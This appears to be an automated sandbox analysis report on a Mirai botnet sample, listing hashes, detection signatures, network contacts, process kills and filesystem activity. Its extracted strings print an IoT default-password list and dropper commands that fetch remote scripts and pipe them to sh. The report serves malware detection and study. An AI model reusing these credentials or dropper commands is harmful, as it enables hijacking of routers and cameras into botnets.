Linux Analysis Report
la.bot.m68k.elf

Overview

General Information

Sample name: la.bot.m68k.elf
Analysis ID: 1565975
MD5: 96916f40fe93a1e31bed8ff47e5f1694
SHA1: 3b5f25c095832e2c3242b86165dcbd26723dc142
SHA256: 206e07068d101b5700173d292fe325268732b1fcf603859b6660792d21b2fe20
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai
Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Yara detected Mirai
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Sample tries to kill multiple processes (SIGKILL)
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
Found strings indicative of a multi-platform dropper
Source: la.bot.m68k.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.m68k.elf String: N^Nu/proc/ash|login|wget|curl|tftp|ntpdate|ftp/proc/mounts/fdsocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin/
Source: la.bot.m68k.elf String: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafed20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd sh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample listens on a socket
Source: /tmp/la.bot.m68k.elf (PID: 6263) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 141.5.0.195
Source: unknown TCP traffic detected without corresponding DNS query: 103.56.3.60
Source: unknown TCP traffic detected without corresponding DNS query: 145.70.211.70
Source: unknown TCP traffic detected without corresponding DNS query: 8.79.43.52
Source: unknown TCP traffic detected without corresponding DNS query: 182.39.228.53
Source: unknown TCP traffic detected without corresponding DNS query: 190.48.172.74
Source: unknown TCP traffic detected without corresponding DNS query: 71.178.167.215
Source: unknown TCP traffic detected without corresponding DNS query: 214.162.6.113
Source: unknown TCP traffic detected without corresponding DNS query: 106.219.91.157
Source: unknown TCP traffic detected without corresponding DNS query: 137.165.129.154
Source: unknown TCP traffic detected without corresponding DNS query: 8.40.165.102
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.128.112
Source: unknown TCP traffic detected without corresponding DNS query: 104.86.15.19
Source: unknown TCP traffic detected without corresponding DNS query: 173.229.123.123
Source: unknown TCP traffic detected without corresponding DNS query: 181.49.2.147
Source: unknown TCP traffic detected without corresponding DNS query: 181.160.180.6
Source: unknown TCP traffic detected without corresponding DNS query: 178.140.132.172
Source: unknown TCP traffic detected without corresponding DNS query: 33.19.55.191
Source: unknown TCP traffic detected without corresponding DNS query: 4.204.166.137
Source: unknown TCP traffic detected without corresponding DNS query: 92.247.40.150
Source: unknown TCP traffic detected without corresponding DNS query: 160.158.12.173
Source: unknown TCP traffic detected without corresponding DNS query: 197.233.121.253
Source: unknown TCP traffic detected without corresponding DNS query: 151.255.196.101
Source: unknown TCP traffic detected without corresponding DNS query: 61.4.4.13
Source: unknown TCP traffic detected without corresponding DNS query: 6.34.83.121
Source: unknown TCP traffic detected without corresponding DNS query: 115.92.155.149
Source: unknown TCP traffic detected without corresponding DNS query: 170.52.16.80
Source: unknown TCP traffic detected without corresponding DNS query: 41.56.230.210
Source: unknown TCP traffic detected without corresponding DNS query: 187.87.91.149
Source: unknown TCP traffic detected without corresponding DNS query: 117.183.32.135
Source: unknown TCP traffic detected without corresponding DNS query: 33.113.72.240
Source: unknown TCP traffic detected without corresponding DNS query: 23.11.131.100
Source: unknown TCP traffic detected without corresponding DNS query: 35.78.148.90
Source: unknown TCP traffic detected without corresponding DNS query: 89.107.155.109
Source: unknown TCP traffic detected without corresponding DNS query: 35.11.218.64
Source: unknown TCP traffic detected without corresponding DNS query: 69.12.2.203
Source: unknown TCP traffic detected without corresponding DNS query: 91.44.120.118
Source: unknown TCP traffic detected without corresponding DNS query: 222.181.132.160
Source: unknown TCP traffic detected without corresponding DNS query: 197.113.34.175
Source: unknown TCP traffic detected without corresponding DNS query: 36.177.130.3
Source: unknown TCP traffic detected without corresponding DNS query: 205.190.175.28
Source: unknown TCP traffic detected without corresponding DNS query: 25.188.101.241
Source: unknown TCP traffic detected without corresponding DNS query: 169.42.81.152
Source: unknown TCP traffic detected without corresponding DNS query: 31.113.239.97
Source: unknown TCP traffic detected without corresponding DNS query: 207.107.251.153
Source: unknown TCP traffic detected without corresponding DNS query: 6.103.40.99
Source: unknown TCP traffic detected without corresponding DNS query: 96.82.191.173
Source: unknown TCP traffic detected without corresponding DNS query: 177.247.129.179
Source: unknown TCP traffic detected without corresponding DNS query: 168.50.218.21
Source: unknown TCP traffic detected without corresponding DNS query: 182.24.116.209
Source: la.bot.m68k.elf String found in binary or memory: http:///curl.sh
Source: la.bot.m68k.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 39256
Source: unknown Network traffic detected: HTTP traffic on port 39256 -> 443

System Summary
barindex
Sample tries to kill multiple processes (SIGKILL)
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6319, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6321, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6322, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6323, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6324, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6325, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6326, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6327, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6328, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6329, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6330, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6331, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6332, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6333, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6334, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6335, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6336, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6337, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6338, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6339, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6340, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6341, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6342, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6343, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6348, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6349, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6350, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6351, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6352, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6353, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6354, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6355, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6356, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6357, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6358, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6359, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6360, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6361, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6362, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6363, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6364, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6365, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6385, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6394, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6415, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6420, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6423, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6434, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6435, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6462, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6465, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6467, result: successful Jump to behavior
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: (usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafed20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd sh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6319, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6321, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6322, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6323, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6324, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6325, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6326, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6327, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6328, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6329, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6330, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6331, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6332, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6333, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6334, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6335, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6336, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6337, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6338, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6339, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6340, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6341, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6342, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6343, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6348, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6349, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6350, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6351, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6352, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6353, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6354, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6355, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6356, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6357, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6358, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6359, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6360, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6361, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6362, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6363, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6364, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6365, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6385, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6394, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6415, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6420, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6423, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6434, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6435, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6462, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6465, result: successful Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) SIGKILL sent: pid: 6467, result: successful Jump to behavior
Source: classification engine Classification label: mal60.spre.troj.evad.linELF@0/1@0/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.m68k.elf (PID: 6266) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.m68k.elf (PID: 6266) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6266) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6266) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6266) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6266) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6266) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6266) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6266) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6266) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6266) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/23/fd Jump to behavior
